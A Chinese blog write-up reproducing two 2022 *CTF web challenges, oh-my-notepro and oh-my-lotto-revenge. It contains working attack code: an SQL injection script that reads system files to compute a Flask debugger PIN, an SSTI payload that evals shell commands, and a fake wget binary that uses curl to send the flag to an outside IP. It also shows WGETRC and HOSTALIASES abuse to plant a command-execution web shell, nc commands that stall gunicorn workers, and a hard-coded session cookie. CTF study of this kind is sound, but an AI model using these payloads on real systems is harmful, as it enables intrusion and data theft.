2022*CTF赛后复现

oh-my-notepro

网站可以任意登陆,在/view?note_id=路由处存在sql注入。

http://121.37.153.47:5002/view?note_id=1%27%20union%20select%201,2,3,4,5--%20-

如果构造错误sql语句就会进入Flask的debug页面,下面的工作就是计算出PIN码

Flask算PIN码这篇文章给出了PIN码的具体算法,前提是我们知道如下几个信息

  • username:通过getpass.getuser()读取,通过文件读取/etc/passwd
  • modname:通过getattr(mod,“file”,None)读取,默认值为flask.app
  • appname:通过getattr(app,“name”,type(app).name)读取,默认值为Flask
  • moddir:当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
  • uuidnode:通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
  • machine_id:每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取

除去默认值之外,我们现在还需要读取文件/sys/class/net/eth0/address获取uuidnode,读取/etc/machine-id/proc/self/cgroup获取machine_id。

Mysql将文件导入表

我们可以通过sql的load data local infile FILE_NAME into table TABLE_NAME语句来将文件数据导入表。

前提是Mysql开启local_infile选项,同时secure_file_priv需要为空

下面就是编写脚本通过sql注入来读取文件了

import requests

url="http://121.37.153.47:5002/view?note_id="
# proxies={"http":"http://127.0.0.1:8080","https":"https://127.0.0.1:8080"}
file1="/sys/class/net/eth0/address"
file2="/etc/machine-id"
file3="/proc/self/cgroup"
file4="/proc/sys/kernel/random/boot_id"
file5="/etc/group"
table1="address"
table2="machine_idi"
table3="cgroup"
table4="boot_idi"
table5="usss"

payload1='''1';create table {}(data+varchar(10000));load data local infile \"{}\" into table {};%23'''.format(table3,file3,table3)
payload2='''1' union select 1,2,3,4,(select group_concat(data) from ctf.{})%23'''.format(table3)

s=requests.session()
headers={"Cookie":"session=eyJjc3JmX3Rva2VuIjoiMzhhZmIxODFiYTgyZjYyNGM0NWIwYjBiNzFkYzg0NGRiYmEwNTA2MCIsInVzZXJuYW1lIjoiYWRtaW4ifQ.Ylz18g.jOu_M3baGQYJau8dNt1RIRTiv_A",
         "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"}

r1=s.get(url+payload1,headers=headers)
r2=s.get(url+payload2,headers=headers)
with open("file1","w") as f1:
    f1.write(r1.text)
with open("file2","w") as f1:
    f1.write(r2.text)

#/sys/class/net/eth0/address如下
02:42:ac:12:00:03
转十进制如下
2485377957891 

#/etc/machine-id如下
1cc402dd0e11d5ae18db04a6de87223d

#/proc/self/cgroup如下
3b55f2a86da3999a938038d9744288ff780d859a670ec4ac754dbd40f154eb34

#/proc/sys/kernel/random/boot_id如下
e86c4117-eed3-4a37-82bc-b5fa47a88e0b

PIN码生成脚本如下

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py', # 报错得到
]

private_bits = [
    '2485377957891',#  /sys/class/net/eth0/address 16进制转10进制

    #由/etc/machine-id和/proc/self/cgroup拼接
    '1cc402dd0e11d5ae18db04a6de87223d3b55f2a86da3999a938038d9744288ff780d859a670ec4ac754dbd40f154eb34'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

#生成PIN码如下
115-650-971

命令执行即可

oh-my-lotto-revenge

关键代码如下

...
def safe_check(s):
    if 'LD' in s or 'HTTP' in s or 'BASH' in s or 'ENV' in s or 'PROXY' in s or 'PS' in s: 
        return False
    return True
...

if safe_check(lotto_key):
            os.environ[lotto_key] = lotto_value
            try:
                os.system('wget --content-disposition -N lotto')
...

在执行wget命令的情况下,如果我们能够控制一些环境变量,我们能否进行RCE或者读取一些敏感信息呢?

可以想到的一个思路就是设置http_proxy环境变量为vps,然后让wget --content-disposition下载vps上放置的同名wget恶意ELF,然后再将PATH环境变量的路径改为/app,os.system('wget')就相当于执行我们的恶意ELF。但是有如下两个问题

  • http、proxy等关键词被过滤
  • 下载的恶意文件没有执行权限

如此一来,我们只能另寻方法了

非预期解

下载wget的源码,查看是否有可以控制并利用的环境变量

在init.c#574中,有如下代码

...
char *
wgetrc_env_file_name (void)
{
  char *env = getenv ("WGETRC");
  if (env && *env)
    {
      file_stats_t flstat;
      if (!file_exists_p (env, &flstat))
        {
          fprintf (stderr, _("%s: WGETRC points to %s, which couldn't be accessed because of error: %s.\n"),
                   exec_name, env, strerror(flstat.access_err));
          exit (WGET_EXIT_GENERIC_ERROR);
        }
      return xstrdup (env);
    }
  return NULL;
}
...

环境变量WGETRC可以指定wget的配置文件,然后配合http_proxyoutput_document参数,可以将数据写入指定文件,进而覆盖模板文件进行SSTI。

vps上放置

from flask import Flask, make_response
  
app = Flask(__name__)

@app.route("/")
def index():
    r=r'''{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("env").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}'''
    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain '
    response.headers['Content-Disposition'] = 'attachment; filename=index.html'
    return response

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=49115)

上传WGETRC配置文件forecast.txt

http_proxy=http://ip:49115/
output_document=/app/templates/index.html

然后将环境变量WGETRC指向我们构造的配置文件/app/guess/forecast.txt即可

当然这里也可以选择覆盖/usr/bin下的wget命令,直接让系统执行我们的恶意”wget”,恶意wget如下

#include<stdlib.h>
void main() {
        system("curl http://47.108.180.208:49177/ -X POST --data `echo $flag`");
}

#编译为ELF
gcc -o wget wget.c

编写WGETRC如下

http_proxy=http://ip:49115/
output_document=/usr/bin/wget

vps监听端口即可收到flag

预期解

翻阅Linux环境变量文档,我们能够发现HOSTALIASES这样一个环境变量,可以设置shell的hosts加载文件,给host域名设置一个别名。

命令wget --content-disposition -N lotto使用了lotto作为域名,这里我们可以将其设置为我们vps域名的别名,这样wget就会向我们的vps发起请求了

# hosts
lotto goodapple.top

下面在vps的80端口搭建恶意服务器,利用方式类似非预期解,不过这次覆盖的是app.py

from flask import Flask, request, make_response
import mimetypes

app = Flask(__name__)

@app.route("/")
def index():

    r = '''
from flask import Flask,request
import os


app = Flask(__name__)
@app.route("/shell", methods=['GET'])
def test():
    a = request.args.get('a')
    a = os.popen(a)
    a = a.read()
    return str(a)

if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=8080)
'''

    response = make_response(r)
    response.headers['Content-Type'] = 'text/plain'
    response.headers['Content-Disposition'] = 'attachment; filename=app.py'
    return response



if __name__ == "__main__":
    app.run(debug=True,host='0.0.0.0', port=80)

这里flask使用了debug模式,所以当程序app.py改变的时候,flask会自动重新加载。

但由于本题使用了gunicorn部署,app.py在改变的情况下并不会实时加载。所以下面的工作就是让gunicorn重新部署app.py。

Gunicorn是什么

Gunicorn(Green Unicorn)是一个 UNIX 下的 WSGI HTTP 服务器,它是一个 移植自 Ruby 的 Unicorn 项目的 pre-fork worker 模型。它既支持 eventlet , 也支持 greenlet。相较于原生的flask server有更好的并发性。

在管理 worker 上,使用了 pre-fork 模型,即一个 master 进程管理多个 worker 进程,所有请求和响应均由 Worker 处理。Master 进程是一个简单的 loop, 监听 worker 不同进程信号并且作出响应。比如接受到 TTIN 提升 worker 数量,TTOU 降低运行 Worker 数量。如果 worker 挂了,发出 CHLD, 则重启失败的 worker, 同步的 Worker 一次处理一个请求。

gunicorn使用一种pre-forked worker的机制,当某一个worker超时以后,就会让gunicorn重启该worker,让worker超时的的POC如下

timeout 50 nc ip 53000 &
timeout 50 nc ip 53000 &
timeout 50 nc ip 53000

成功重启

评论

  1. 小菜鸡
    Windows Edge 106.0.1370.37
    2月前
    2022-10-11 10:15:27

    师傅,请问怎么复现的,是有docker吗,能麻烦发一份吗

    • 博主
      小菜鸡
      Windows Firefox 105.0
      2月前
      2022-10-11 23:00:23

      已发送

      • 小菜鸡
        Windows Edge 106.0.1370.47
        2月前
        2022-10-20 15:15:56

        多谢师傅

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇